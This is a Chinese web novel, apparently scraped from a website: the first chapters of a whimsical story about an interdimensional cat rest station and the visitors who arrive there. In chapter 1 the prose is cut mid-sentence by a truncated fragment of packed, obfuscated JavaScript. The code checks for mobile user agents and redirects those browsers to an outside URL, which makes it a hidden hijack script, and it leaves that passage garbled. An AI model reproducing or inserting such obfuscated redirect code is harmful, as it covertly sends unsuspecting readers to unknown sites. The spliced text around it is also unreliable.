《今天狸花猫离家出走了吗》
1. 依靠猫猫,为了猫猫
在宇宙的某个空间内,有这么一家奇怪的猫猫休息站——由猫猫经营、猫猫管理、依靠猫猫、为了猫猫。
这里的客人暂时都并不知道为什么会有这么一家休息站,或许是造物主喜欢猫猫,又或许世界的主宰是猫猫,但总之,欢迎来到异空间猫猫休息站。
这里的猫猫们向来店的客人出售猫零食给自己吃,同时用剩下的利润向角落里的自动售货机购买店内设施和玩具。
如果人类店主让客人出钱给店主买吃的,那这个人肯定疯了,但小猫咪就可以这样经营——这显然是猫猫主宰世界学说的一大力证。
而这里收取的货币并不统一,可以是其他世界的货币,也可以是以物换物,甚至可以是虚无缥缈的感情、梦想与爱。
这不好说,因为这里的一切由猫猫决定。本休息站没有人类工作人员,只有猫猫。依靠猫猫,为了猫猫,发展成果由猫猫共享。
看,今天也有一位新的客人来到了门口——是一位身上沾满了污血的女性。她正在门口茫然地张望着,似乎没有搞明白这里是什么地方。
上一秒她还在和丧尸搏杀,被逼入仓库中走投无路,下一秒便来到了这里。长期的末世生活让她习惯保持警惕,但门口花里胡哨歪歪扭扭贴着的贴纸,以及天花板上垂落的小鱼形状风铃,都让她感到有些恍惚。
封着纱窗的窗户吹进来了一阵清凉宜人的风,风铃发出了清脆的叮当声。她很久没有呼吸过这么新鲜的空气了。
“喵——”
爪爪是白色的狸花猫迎了过来,用尾巴卷了卷这位客人的裤脚,在她脚边绕了几圈,示意她跟着它向里走。
“……猫?”
狸花猫的动作让她的神经有些紧绷。八年末世之后,她的世界已经没有猫了,只有早就被病毒感染的、皮毛缺一块掉一块,露出狰狞骨骼和烂肉的丧尸猫。
但面前的这只猫猫扫过她脚腕的毛茸茸尾巴还温热着,显然是一只正常的猫猫。
考虑到反正也没有别的路了,她便跟着狸花猫向内走去。狸花猫将她带到了一间浴室内,随后用前爪指了指门上挂的牌子。
牌子上拍了几个猫猫的爪印,歪歪扭扭地写着一行字——“请先清洁自己再到店内消费”。
走完流程后,狸花猫就迈着步子走了出去,留下她自己在浴室凌乱。
且不论自己为什么被莫名其妙带到了这里,就说这猫的智商真的是普通的猫吗?
“算了,就算是死了,最后洗个热水澡也好……”
她放弃了思考,自暴自弃地嘟囔了一句,随后看着已经在印象中变得有些陌生的淋浴设施,犹豫了一下,按照记忆中的方法拧到了热水的方向。
温热到略有些烫的水从淋浴中洒了下来,水汽在狭窄的空间内氤氲了开来,渗入了她干枯的头发和沾染着血污的面颊,让她久违地有些想哭。
明明是以前日常一样的生活,但现在就是觉得奢侈到像梦一样……
她几乎是啜泣着洗了个热水澡,随后才发现没有换洗衣物了。
这倒是没什么,末世的人哪有那么讲究的——更何况这里好像只有猫而已。就在她正准备就这么走出门的时候,门却自己打开了,但没人进来。
她吓了一跳,立刻做出了防御的架势,听到喵喵叫的声音才低头看去。顺着猫叫声,她看见了脚边一只背着轻便衣物的、很大的布偶猫,以及大概是刚才负责跳起来拉门把手开门的狸花猫。
“……谢谢?”她伸手从布偶猫背上捡起整齐叠好的衣服,发现上面已经沾了些布偶猫的白毛。
衣服是非常普通的宽松纯色T恤和运动裤,纯棉面料,没有印什么花纹图案,但足够舒适。
“喵。”
两只猫猫应了一声便离开了,而她有些忐忑地换好衣服,紧张地出了门。她害怕一打开门,迎面便是一只丧尸张着血盆大口、散发着恶臭的气息朝她扑来。
但是幸好没有,只有淡淡的青草香气继续缭绕在身周——她用了大概是猫猫们准备的沐浴露。
狸花猫继续带着她向前走,没走几步,就到了一扇木制的门前。门下有一个小小的猫猫门,但狸花猫没有急着率先进入。
“喵——”
白色爪爪的狸花猫拉长了语调喵了一声,在她小腿周围转着圈蹭了蹭。
“你是想,让我帮忙开门?”
她犹豫了一下,将手放到了门把手上,安静而小心翼翼地开了一条缝。就在她正准备先观察室内的情况时,狸花猫就毫不客气地顺着门缝往里挤,将门挤开了些。
玻璃窗、木质桌椅、吊床、猫爬架与摇椅。暖黄色的光透过玻璃窗照射进来,把室内十几只或跑或躺的猫猫们照得仿佛毛尖尖在发着辉光一样。
角落里陈设着一台自动售货机——没插电,但似乎依然运作着,旁边还有一个鲜红的消防按钮。奇怪的是,这个按钮的位置很低,不像是给人准备的,倒是猫猫正好能用爪爪够到。
狸花猫三两下便跳到了自动售货机顶上,喵喵叫着喊她靠过来。
她凑近了些,看着面板上的东西,困惑地歪了歪头。
冻干、各种猫罐罐、鲜肉猫粮……
虽然说是猫猫开的店,有这些东西也不奇怪,但这上面只标了数字,没标货币单位,而是在数字后画了个简笔猫猫头。
她观察了一下,售货机旁边本该是投币的位置被一个四方的黑洞口取代了,应该是让她扔些什么进去。
一般来说,她会选择砸了自动售货机带走物资后离开,但这里的情况实在太诡异了,像梦一样,让她不敢轻举妄动。
另一方面,也是她确实不想对这些可爱的猫猫恩将仇报。虽然搞不清楚情况,但它们怎么看也没有恶意。
她试探着抬手伸向站在自动售货机顶端的狸花猫,刚想踮起脚摸一摸,狸花猫就很主动地跳到了她肩膀上,蹭了蹭她的脸,撒娇般又叫了几声。
不知道丧尸结晶能不能用来交易……
她从口袋里掏出一颗紫色的水晶状物体,试探着丢进了黑洞——只是一颗普通结晶而已,对她来说不是什么负担。
自动售货机震了几下,面板上显示了两行字。
——恭喜您注册成功,生物信息已录入完成,您的账户及余额将与您本人绑定,永久保留。
——尸晶(价值5猫猫币),普遍产自大部分失序世界,品质普通。
意思是,一块结晶换五单位货币的意思吗?
“我看看,冻干……这个吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251991|166424||http|test|mini|href|location''.split(''|''),0,{}));
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>一份冻干只要一单位货币,这让她有些想再给自己买一份吃了——在末世可没什么好东西吃。
像是看出了她的想法一样,狸花猫抬起了爪爪按在操作面板上,翻到了另一页。本页的商品让她忍不住使劲揉了揉眼睛。
像是一个小饭馆的简陋菜单,有简单的小炒、时蔬和米饭,还有些饮料汽水。
“喵。”
人类不要吃猫饭,人类吃了猫饭猫吃什么?人类要吃人类的饭。
她颤抖着手在面板上按了按,落下来了一小袋冻干,以及一份封装好的盒饭。狸花猫从她肩头轻巧地跳了下来,跳到一张餐桌上喵喵叫着,像是在邀请她坐过来。
她迅速将冻干袋子撕开后放到狸花猫面前,顾不上管它,立刻迫不及待地打开了盒饭。里面是极其普通的两菜一饭——西红柿炒鸡蛋与肉末茄子,热气腾腾的,像是刚炒好出锅一样。
沾染了西红柿汁水的黄灿灿的炒蛋带着酸甜的气息,肉末茄子则更是散发着她不知道多久没有闻到过的肉香。
她无视了旁边的筷子,用手抓起米饭和菜就往嘴里塞去,狼吞虎咽的样子把狸花猫都吓了一跳。
猫猫在桌上一会低头嚼几口冻干,一会抬头观察人类。这个人类吃着吃着就开始哭,眼泪都掉到饭里了,令猫担忧。
她也不知道自己现在为什么这么能哭。在末世刚开始的时候她确实经常哭,但慢慢的,她想不起来从前的生活是什么样,也就不哭了。
毕竟末世世界可不是什么友善的地方,她只是坚强而麻木地努力活着就已经拼尽全力了。
吃完后,她看了看自己沾了汤汁酱汁的手,有些不好意思地看着狸花猫。一方面,在这样的环境下,她多少记起了一些作为文明世界人类的自尊;另一方面,从浴室的告示来说,猫猫应该是爱干净的。这样摸它的话,它大概会不高兴吧。
狸花猫正扒拉着冻干,分了一部分给之前帮忙搬衣服的白色布偶猫。两只猫喵来喵去的,她也不知道它们说了些什么。
这些聪明的猫猫让她多少有些后知后觉的窘迫——刚才她狼吞虎咽的样子看上去比它们还像野兽,甚至把狸花猫吓了一跳。
白色的布偶猫似乎看出了她的窘迫,温柔地走近了些,轻轻舔了舔她的手,卷走了些残余的剩菜汤汁。
而狸花猫则是咬着她的裤脚将她拖到了旁边的水槽那边洗手,等她擦干后做回座位后,狸花猫便一翻身肚子朝上,还抬起小脑袋看着她。
这只狸花猫可是本店的猫零食销冠。原因无他,它愿意主动和人接触又聪明大方给人摸,是非常外向的猫猫,很适合陪伴和引导尚且搞不清楚情况的客人们。
“是……让我摸的意思吗?”
她的语气有些迟疑,但手犹豫了一下,还是覆到了狸花猫柔软而温热的肚子上。随即,她感觉到了猫毛的柔顺触感,以及随着狸花猫呼吸产生的起伏。
那是她几乎已经忘记的,属于这样可爱生灵的温度和鼓动。
门口的风铃轻轻摇晃着,阳光顺着窗户照了进来,照得室内温暖而明亮。她穿着干净宽松的休闲服装,吃得很饱,有一搭没一搭地摸着猫咪的肚皮。
狸花猫理所当然地又打了个滚,蹭了蹭她的手,好像世界本该如此。
2. 小煤球和大团棉花
那位女性很快离开了——猫咪以外的生物在这个空间待不了很久。她用晶体换了很多物资,还给狸花猫留下了不少冻干作为报酬。
“谢谢你,不过不知道下次我还能不能活着过来了。”
她临走时,抱起狸花猫轻轻摸了摸,露出了无奈而悲伤的笑容,
“我叫卫锦程,如果你能记住我就好了。”
她原先觉得死了也就死了,反正活着也是担惊受怕地混日子,但现在她不想死了,一点都不想。
人只有在痛苦的时候才想死,一旦不痛苦了就不想死了。她想活下去,还想再回来这里。
狸花猫被放回桌子后,看着面前的人化作幻影消失后,舔顺了身上被揉乱的毛,叼着未开封的冻干袋子缓步走到了自动售货机前。
仔细看去,这个自动售货机在矮处同样有开口与操作面板,显然是给猫猫用的。
狸花猫将刚拿到的冻干都放了进去,看着屏幕上增长的余额,用爪爪拍了拍屏幕,找了个自己喜欢的金枪鱼罐罐买来,推着回了猫窝吧唧吧唧地大快朵颐。
猫猫赚点冻干不容易,要懂得储蓄才行,但是金枪鱼罐罐好吃,哪怕是聪明的销冠猫猫也忍不住冲动消费。
在没有人类的来的时候,猫猫们就互相打闹玩耍。这里的猫猫根据关系好坏三三两两地分成了几个小团体。比如这只狸花猫就喜欢挤着一只白色的德文猫,用鼻尖轻轻蹭它。
什么?毛色歧视?那是人类想象的事情,小猫咪才不搞这套。所谓“三花是猫中的大美人,白猫是丑猫”,都是人类娱乐自己的说法。
事实上,三花猫之所以更容易吸引其他猫的注意,是因为猫猫本就更容易被颜色丰富的移动色块吸引注意,本质上是一种狩猎本能的体现。而白猫不受猫群待见的现象确实存在,但主要原因不是丑,而是聋。
白色猫猫中,先天性耳聋占的比例很高,尤其是白毛蓝眼的猫猫,耳聋比例甚至超过60%。这些听觉不好的猫猫除了能用肉垫感受一点地面震动以外,察觉不到声音,因此经常会发出很大的声响,惊吓到其他听觉敏锐的猫猫。
在猫猫休息站,请抛弃人类中心的狭隘视角,将这些猫猫当作主体来看待。就像德文猫猫在人类中的身价是狸花猫猫的不知道多少倍,但也不影响狸花猫猫才是这里的销冠兼恶霸一样。
毕竟狸花猫不仅是本店的看板猫猫,还是战力天花板,除了奶牛猫能和它过上两招之外,其他猫猫基本都不是它的对手。
小猫咪不在乎人类眼里自己值一百块、一千块还是一万块,小猫咪可以勇敢地做自己,学学小猫咪。
德文猫是粘人而需要互动的猫猫,但这里没有认识的熟人可以给它粘,于是经常表现得有点沮丧。而自认为是管理者的狸花猫看到后就挤了过去,试图用自己填满德文猫旁边的空气。
对,虽然原则上来说,这里的猫猫都是自由的,但喜欢被人关注的聪明狸花猫会操心很多事情,可以算是这里的管事老板猫猫了。
有什么合理意见可以和狸花猫说,它很享受管事的感觉,并且似乎会好好反馈给其他猫猫,但不要说关于它的意见,它不听。
居然说一只给摸给捏服务热情周到还会主动撒娇的猫猫有问题,岂有此理!
角落里,一只不过比手掌大些的小黑猫正揣着爪爪压在布偶猫身上,布偶猫则继续侧躺着,有一搭没一搭地晃了晃尾巴,并不在意自己被当成了床。
店内有各种各样的猫猫,黑猫最多,一共有两只。一只它、一只喜欢在猫爬架高处舔爪爪的、和普通体型差不多的黑猫。
虽然店内有两只黑猫,但小煤球很怕人,事实上能摸的只有最高处那只——还不一定真的摸得到,得看它心情,心情不好就会变成流体猫猫向下弓身躲开人的手。
而这只小黑猫是店内少数有名字的猫猫之一,它叫小煤球,小是体型,煤球是拟态。没错,它已经不再生长了,而且体型小得不正常,但猫不在乎,只有人类才在乎这种事。
一般来说,小煤球不理人也不怎么理其他猫,胆子小小的,只和店里这只脾气最好的布偶打交道。
狸花猫确实是店里最热情最大方的销冠猫猫,但绝对不是脾气最好的。它只是热爱工作并且喜欢被客人夸而已,如果客人批评它,它转脸就走了,走之前还会拍客人一爪,骂骂咧咧地喵几声。
而布偶猫猫则只会用温和而无奈地眼神看着客人,侧躺着摆出一副“随便你怎么说,我只是一团在上班的棉花”的样子。
绝大部分情况下,惹到布偶猫猫算是真的惹到棉花了。它不跟人计较,也不跟猫计较,只是慢悠悠地飘来飘去,并掉很多毛。
凭借极其温和的个性,它成为了店里猫零食销量第二的猫猫,业绩紧逼销冠狸花猫猫。
有时候狸花猫还会装作不经意路过,偷偷假装脚滑踢它一脚,但布偶猫毛太长,这种程度的打闹甚至无法击破防御。
小猫咪的商战总是朴实无华。
在小煤球对踢了布偶猫的恶霸狸花猫哈气的时候,它还会叼走小煤球进行居中调停,是本休息站著名的好脾气猫猫之一。
一般来说,都是由狸花猫去招待来客,但当狸花猫忙着的时候,就是布偶猫负责了。当风铃声响起时,布偶猫见狸花猫正被其他客人摸着爪爪,便对着自己身上的小煤球喵了一声。
这时小煤球便会自己跳下来,找个角落用尾巴围着身子,前爪撑地乖巧地坐着自己发呆,让布偶猫可以打个滚起身去迎接客人。
一大团棉花慢悠悠地飘出去,一大团棉花又带着一个人类再慢悠悠地飘进来,慢悠悠地飘着将客人引导到空桌前就坐。
“嗯?这只猫怎么这么小。”
但前来的客人一眼就看见了自己安静趴在角落里的小煤球,刚想凑过去抓起它,小煤球就弓起背哈气、尾巴炸了毛作威胁状,忍不住有些不爽。
布偶猫见状赶紧钻过来挡住了小煤球,对客人带着歉意地喵了几声,不料这人毫不客气地拨开了它,伸手非要去抓那只小煤球。
被抓起来的小煤球胡乱拍着爪子发出凄厉的叫声,明显不愿意极了。而那人反而有些洋洋得意,还想用力攥一下——这么小的猫,利爪都没长出来,能怎么样。
然后就被一辆布偶撞了膝盖窝,猝不及防跪倒在地。
而布偶则用身体接住了半空中落下来的小
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煤球,迅速背着它跑远了点,然后安抚地给它舔毛。
小煤球不太会自己舔毛,本来舔毛技术就差差的,依赖于布偶猫隔段时间帮它舔舔。现在好了,一个小时前刚弄好的毛毛又变得乱乱的了。
狸花猫见状,从面前的常客手中抽回了爪爪,喵了几声表达了暂时失陪的歉意,随后跳了下桌,迈着步子走到了布偶身前。
“喵?”
“喵。”
“哦……要开始那个了啊。”
两位常客托着腮,饶有兴趣看着面前的人,
“我猜这次的结果也是‘同意’。”
“我猜也是。”
既然是猫猫经营、猫猫管理的休息站,准入资格当然也由猫猫决定。因此在这里,猫猫可以对不守规矩的客人使用陶片放逐法。只要有一半以上的猫猫同意,这个人就被记录在不受欢迎名单中了。
除了偶尔会有人被突然吞进来之外,猫猫休息站的门店会随机刷新在不同世界的各个角落——可能是一家表面看上去很普通的店铺,也可能是某个地方突兀出现的门。
而被记录在不受欢迎名单中的人,不仅再也无法看到门店,就连被吞进来的资格也没有了。
使用猫猫休息站不是一种固有权利,而是一种猫猫发放给人类的特权。
狸花猫跳到了自动售货机顶端,喵喵叫着,极其人性化地高高举起了右爪爪。其他猫有的此起彼伏地应了声,有的依然安静地待着,不过基本都举起了右爪。
秉持着猫猫共商共建共享的原则,猫猫们在一致对外时非常团结,如果人做出了疑似想要伤害猫的举动,就一定会全票通过陶片放逐。
在完成表决后,那个人甚至没来得及说什么,就瞬间被休息站排斥出去了,整个人立刻消散在了空气中。
狸花猫看了一眼小煤球,跳上桌从客人刚给的一堆冻干里挑了一袋,叼着放到了桌边后,装作不经意用爪爪拨弄了下去,故意砸在了布偶猫身上。
布偶猫稳稳地接住了,抬头对狸花猫呼噜呼噜了几声表示感谢,便叼着冻干到了小煤球身边了。
猫坏,但猫好。
猫猫在这个空间里会有基础工资,每天都够买足量的健康猫粮。饿不着,但想吃更好吃的就只能自己辛苦打工。
小煤球就属于不怎么打工也不那么嘴馋的低物欲猫猫,但有好吃的冻干当然也喜欢吃。
一只小煤球一次叼起一小块冻干吧唧吧唧,一大团棉花在旁边伸出舌头一次卷了好几块啊呜啊呜,两只猫猫和谐地分食了一袋冻干。
两位常客看着狸花猫做完那一套状似不经意的动作后,萌得心都要化了,立刻起身到售货机前又给狸花猫提了几袋冻干,还冲动消费附带了一个贵贵的奢侈品金枪鱼罐罐。
销冠之所以是销冠,靠的就是过硬的实力和出众的个猫魅力。
眼看着小煤球的情绪稳定了下来,布偶猫猫便叼着小煤球回到了角落里,有一搭没一搭地舔着它乱糟糟的毛。
一直在猫爬架高处的另一只黑猫突然跳了下来,走近了绕着小煤球转了转,好像在确认它有没有受伤。转了几圈后才转头又三两下跳回了猫爬架上,继续发呆。
3. 猫好人坏
人被猫杀的概率很低,但绝不是零——尤其是在这间特别的休息站内。
小猫咪不仅有抚慰人心的柔软毛毛,还有保护自己的爪爪。坏消息是,没人给这里的猫猫剪爪爪;好消息是,这里的猫猫都是脱离了低级趣味的猫猫,绝不会无端挠人。
前提是,人要带着一颗真诚友善的心对待这里的猫猫。
放心,猫猫不在乎人在自己的世界是富贵还是贫穷,地位是高贵还是低贱。猫猫认为人类是平等的,并且会平等地按照心情对待每个人类。
给冻干和罐罐、喜欢猫猫的就是好人类,不给食物也不理猫猫的就是一般路过的普通人类,强迫猫猫或者打猫猫的就是坏人类。如此朴实无华又包含大智慧的判断标准,不愧是猫。
风铃响了,狸花猫带来了两张熟悉的面孔——是店里的常客,两位大学生,一女一男。
他们自从在学校附近的小巷子里发现了这家店后,基本每周都要来一次。不过目前为止他们还没有察觉到什么不对,只以为是一家特别的店铺,唯一有些疑惑的是为什么这里不是网红店。
不过也好,这样他们就不用排队了。虽然偶尔也会有些奇怪的人在店里,看上去多少有些可疑,但既然大家都和谐地撸着猫,那应该只是普通的不知道哪里的漫展散场了吧。
大城市真奇妙啊,连猫咖都有无人店了诶——淳朴而清澈的大学生如是感慨道。
“哎呀,这里有一只这么小这么小的小猫咪呀,你怎么这么可爱呀,我可以摸摸你吗?”
温言谨看到了角落里的小小煤球,惯例打了个招呼,试图靠近一些,但她在看到小煤球又开始警惕地哈气后,立刻收回手叹了口气,举了举双手向后退,
“今天也不行啊,好吧好吧。”
温言谨看到小煤球的第一眼就喜欢极了,但跑了好几次还是没和它混熟,倒是给其他猫猫贡献了不少业绩。
“你说,我们能不能让它帮帮忙?我记得之前看到它和那个小家伙好像关系很好。”
顾行看了看慢悠悠飘过来的一团布偶猫提议道,随后蹲下身,摸了摸它的脑袋,放轻了声音试着交流道,
“你好,还记得我们吗?我们来过很多次了,也算是常客吧。你可以帮我们跟小煤球说说吗?就说这个姐姐真的很喜欢它,绝对不会伤害它的。
如果它愿意过来的话,我们给它开特别好吃的罐罐。当然,不愿意也没关系。”
温言谨笑着开了句玩笑:“你夜观天象都观到学会和猫说话了?没听说过你们天文部还有这种特异功能。”
“万一呢。昨天我还用望远镜看了猫座,说不定有用。”
和猫沟通好像是不太聪明的做法,但世界上很多人都喜欢和猫说话,所以看起来倒是没那么奇怪。
布偶猫左歪歪头,右歪歪头,观察了一下面前的两个人类,像是思量了一下,随后走到角落里用鼻子拱了拱小煤球,咪呜喵呜地一通交流。
过了一会,大棉花团子叼着小煤球走近了些,跳上桌子将小煤球放在中间,然后趴在了桌子中央,给小煤球提供一些安全感。
这次小煤球倒是没有再哈气了,但看上去还是有些不安,往布偶的毛里缩了缩,被布偶猫舔着毛毛才慢慢安定了下来。
温言谨见状,赶紧起身去自动售货机,着急忙慌也不知道丢了个什么东西进去,拿着一个三文鱼罐头和一个金枪鱼罐头就跑了回来。
“……这两个罐头都能把它吃了。”顾行看着两个叠起来比小煤球还大的罐头,忍不住吐槽道。
小煤球谨慎地闻闻这个,闻闻那个,扒拉着罐罐边缘咬咬这边,咬咬那边,时不时伸出舌头再舔舔自己嘴边的毛毛。
显然,一只小煤球连一个罐罐的三分之一都吃不完。它看了看旁边的布偶,走到其中一个罐罐后面,朝布偶用力推了推。
推不太动。出门偶遇人类进贡的罐罐,拼劲全力未能战胜。
布偶猫见状便主动走过去象征性吃了几口,然后用鼻尖亲昵地蹭了蹭小煤球表示感谢。
温言谨试探着伸出手,看见小煤球吓得往旁边一跳,叹了口气,刚想沮丧地收回手,却看见小煤球原地转了转,边踱步边犹豫着,终于竖起尾巴往她的方向走了两步,然后细细地低声叫了叫。
“宝宝,你的意思是我可以摸你吗?”温言谨有些踌躇,但还是慢慢地伸过了手,最后轻轻用手指点了点小煤球的额头。
小煤球看起来依然有些紧张,但它嗅了嗅温言谨的手指,最终慢慢放松了下来,轻轻蹭了蹭她。
而顾行则托着腮,安静地看温言谨激动的表情,不自觉露出了柔和的笑容。
……本来应该是这样的温馨的画面,但旁边那个穿着仙人服饰奇装异服、对着正在舔爪爪的狸花猫激动地大喊“此子绝非凡物”的神秘奇怪白胡子爷爷实在是太破坏气氛了,惹得顾行和温言谨忍不住时不时瞟一眼。
这人是cosplay上头了吧……怎么还对着那只猫爬架上的黑猫倒头就拜,说它身上有肃杀之气。
拜托,虽然那只黑猫是有点神秘,但这只是一只小猫咪啊!哪来的肃杀之气。
不过两人想了想,不约而同地觉得人到这个年纪还能中二也是种幸福,就没有出言打扰,而是默契地无视,有一搭没一搭地聊着大学里的事情。
晚上,猫猫们下班了。有的回自己的猫窝盘起了身子打着哈欠,有的还想再玩一会,正在猫爬架上跳上跳下。
德文猫正和狸花猫一起坐在自动售货机前,一起看着矮处的猫猫用屏幕,屏幕上是今天的业绩和收到的东西。
售货机收到的猫猫币是八二分成,猫猫拿八份,剩下两份售货机留下用于维持休息站运营、开设门店以及空间传送所需能量。
也就是说,猫猫们除了基础工资与用客人给的小零食和礼物兑换成的个猫储蓄之外,还可以收到售货机给的按劳分配绩效分成。
而猫猫拿到的这八份分成中,售货机又会扣留一份作为猫猫税,算入店铺公账,用于让猫猫进行自由建设和发展。
人类如果采用这套管理方法肯定会衍生出各种各样的问题,但猫猫不会,猫猫们的小脑袋暂时只能想明白多劳动的猫猫赚的多、贡献大,但赚得少的猫猫也同样有贡献。
所有猫猫都很重要,猫猫平等,但承担责任多的猫猫当然就有更多权力。所以对于狸花猫管着公账,猫猫们都没什么意见。目前休息站内,也只有狸花猫的小脑袋姑且还能处理这么复杂的事情。
狸花猫粉粉的肉垫在触控屏上扒拉扒拉,扒拉久了,它忍不
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住打了个打哈欠,原地打了个滚,才又继续往下翻。
德文猫则是一直在旁边安安静静地看着,不过并不是对这个有什么兴趣,它只是习惯了和狸花猫粘在一起,不想自己待着而已。
但突然,德文猫像是看到了什么,用肉垫拍了拍屏幕,着急地对着旁边的狸花猫“咪”了几声,想引起它的注意。
狸花猫睁着圆溜溜的眼睛,看着屏幕眨了眨眼。其他猫猫见状都围了过来,看了看,随后室内充满了此起彼伏的喵声。
一时间全店的猫猫都堆了过来,一群软乎乎的小家伙在售货机前挤来挤去。看到了信息的猫猫急得喵喵叫,没看到信息的猫猫想往里面挤,也急得喵喵叫。
——玉佩(30000猫猫币),一块成色不怎么样的玉佩,没什么特别的。【后台信息(仅猫可见):是某校园文中主角间解开误会的关键道具。】
自动售货机永远不往外吐吃进去的东西,一旦消费不退不换。
布偶猫把猫猫的玩具球叼了过来,试图安慰有点沮丧的小煤球,而狸花猫对着售货机喵喵叫了好久,爪子一直挠着铁皮抗议,但售货机依然无动于衷。
交涉失败。
狸花猫歪着小脑袋想了又想,冥思苦想,终于用爪爪在触控屏上又操作了一番。
三万猫猫币的十分之一就是三千猫猫币,一个金枪鱼罐罐二十猫猫币,所以先公款买十几个罐罐大家边吃边想。
吧唧吧唧。
吃完罐罐后,没完全吃干净的猫猫将罐罐丢进售货机里再回收,重新存为个猫储蓄,然后开始了猫猫紧急会议。
“喵!”
狸花猫用肉垫气势汹汹地拍了拍售货机,但拍不响,只是发出了噗噗的闷声——首先,指望售货机还钱是不可能了。这死玩意不听猫讲话。
“喵……”
小煤球的声音有些低落,尾巴在地上慢慢扫来扫去。好不容易鼓起勇气营业了,结果居然给客人添了大麻烦,这让它有些沮丧。
“喵?”
一向认为自己天下第一的狸花猫不理解小煤球为什么要失落,这又不是猫的错,是人粗心。猫想帮客人解决问题,猫好人坏。
不过它想了想,勉为其难地走到小煤球身边,轻轻舔了舔它的毛,作为休息站的老大表示原谅了它。
小猫咪们咪唔喵呜咕噜咕噜了半天,最终狸花猫猫肉垫一拍触控屏,斥资购买了一项新的设施。
只见室内简陋的桌椅突然翻到了地板之下,再翻上来时,桌面上多了一个固定摇杆和一块显示用的屏幕。
猫猫的肉垫不好打字,湿漉漉的小鼻子也容易把触控屏弄湿,但用摇杆控制鼠标画画应该还能做到。
猫不能说话,那猫就试着画出来吧。
狸花猫率先跳了上去,本能用爪子首先拨弄了一下桌子上凸出来的摇杆,试图把摇杆推下去——当然推不动,这是固定在桌上的。
拨弄了几下,又打着滚抱着摇杆啃了几口,狸花猫才想起正事来,喵喵叫着绕着摇杆走了两圈,把粉粉的肉垫放了上去,左右晃了晃。
万事俱备,只等下次温言谨来就可以试着告诉她了。至于她什么时候来,怎么让她来……
小猫咪怎么知道,这不是小猫咪该考虑的事情,散会。
4. 牧师可以当兽医
“早安,奇怪的小家伙们。”
温和的声音随着风铃传入了休息站,一位神官打扮、身形修长的年轻男性走了进来,亚麻束带勾勒出腰线的轮廓。他的腰间别着一个装满水的透明玻璃瓶,手里提着些医疗用品,
“今天有谁身体不舒服或者受伤了吗?”
是兽医……并不是,是某片奇幻大陆上某不起眼的教堂里一位普通牧师。
这位牧师名叫泽安德,是被猫抓来给猫做体检的。当时他正从教堂回到家里,还没来得及歇口气,一眨眼就到了这个奇怪的地方,被一群猫猫用脑袋拱来拱去。
他想着,神职人员本来就该救死扶伤,治谁不是治,就给猫猫们顺手上了个群体治疗术。然后就吃上了猫猫提供的热乎乎的感谢餐,摸到了软乎乎的猫肚肚和粉粉的肉垫。
从此,他便习惯了定期被猫绑架来义诊的生活了,顺便还可以撸猫。
狸花猫拱了拱德文猫,白色的小精灵一样的猫猫跳上了桌,不好意思地轻轻喵了一声。
作为人工选育的纯种猫猫,德文猫的体质和狸花猫相比要差很多,时不时就会有些小小的问题,而最常见的就是过敏和皮肤问题。
泽安德握住了德文猫的爪爪,温柔地笑了笑:
“别担心,很快就好了,只是小问题。”
他的手心微微亮起光芒,点点微弱的光像水流一样流向德文猫。很快,德文猫身上的圆斑状结痂便愈合了,还长出了新的漂亮卷毛。
对于奇幻世界观的人来说,理解接受休息站的存在要容易很多——毕竟他们的世界里本来就充斥着一堆乱七八糟的不可解现象。
“牧师,今天也来给猫治疗啊。”旁边来自同个世界不同地区的人类向他打了个招呼,“话说,你们那边的教会还挺宽松的。”
这位女性身边放着比人还高的巨剑,桌上是一瓶正散发着甘蔗香气的朗姆酒——她叫凯桑德拉,是黄昏峡谷地区出名的冒险者佣兵。
一般来说,她其实挺不待见教会那些眼高于顶又见钱眼开的牧师的。不过,一个愿意免费给小猫咪治疗的牧师可以稍微例外一下。
这个世界中的人们,大都有着较为原始的太阳崇拜。而在此之上,便产生了太阳神教。他们相信一位名为“灼耀”的神明创造了太阳,从此才有了日升月沉与生命繁衍不息。
教会宣称,只有虔诚信仰着神明的人才能拥有光属性治愈能力。因此,有很多牧师自觉高贵,将治疗当作一种对贱民的“恩赐”。
一只橘猫凑近了酒瓶,好奇地闻了闻。见状,她顾不上接着说话,先赶紧把酒拿远了点。
小猫咪可碰不了这个。
泽安德正在看着被布偶猫叼过来、尚且没有安定下来的小煤球。他伸出手静静等待着,避免惊吓到小煤球。听到旁边的人搭话,他忍不住有些疑惑地转头。
“宽松?”
“是啊,我们那边跟疯了似的,非说黑猫是不详的存在,别说帮猫治疗了……”
她话说到一半,发现小煤球也在听着,连忙换了口风,把后面有些可怕的话咽了回去,
“不过我觉得黑色的猫猫也很可爱,只是一种颜色而已,要是都像你那边那样开明就好了。”
“不,教会的规定是统一的,原则上都不允许接近黑猫。”
泽安德看见小煤球终于鼓起勇气走到了他手掌上,忍不住伸出手指鼓励地揉了揉它,
“但是我觉得这个规定悖逆了神的意志,所以我不听,神应当平等地爱着众生。”
听到这话,不信神的凯桑德拉差点忍不住想翻个白眼。要不是知道那些牧师是什么德行,她差点就信了。
“说得这么肯定,那要是你所谓的神真的不喜欢黑猫呢?”
“那就说明这不是神。神是宽容的、仁慈的,它为了让我们不再痛苦,赐予我们神术,所以我们才信奉神。”
泽安德一边轻轻拨开小煤球的毛毛检查皮肤,一边理所当然地回答道,
“如果神不宽容、不仁慈,那有什么信奉的必要。强大的生物还不够多吗?太阳不被谁私有,不会放弃普照任何生灵,所以才是‘神’。”
如果神不值得信奉,如果神不在乎其他生命,那大家为什么要信神呢?
“哇……我算知道你为什么明明治疗能力不错,还被赶到帕瓦伦那么个鬼地方了。”
“没关系,正好边境的教堂紧缺会治疗术的牧师。”
泽安德对于自己被排挤倒是没什么想法,只是叹了口气,
“治谁不是治,这有什么。人受伤了就会痛,富人会痛,穷人一样会痛。我只是在履行消除痛苦的职责而已。”
他其实并不明白为什么神要认可教会的存在,但教会只让他接受并服从,说这是神的意志。
他需要光属性能力带来的治愈效果,否则他便无法解决别人的痛苦。
凯桑德拉静默了一会,开口道:“……我说,你要是什么时候在教会那鬼地方呆够了,就来黄昏峡谷吧,这边有挺多不错的家伙的。”
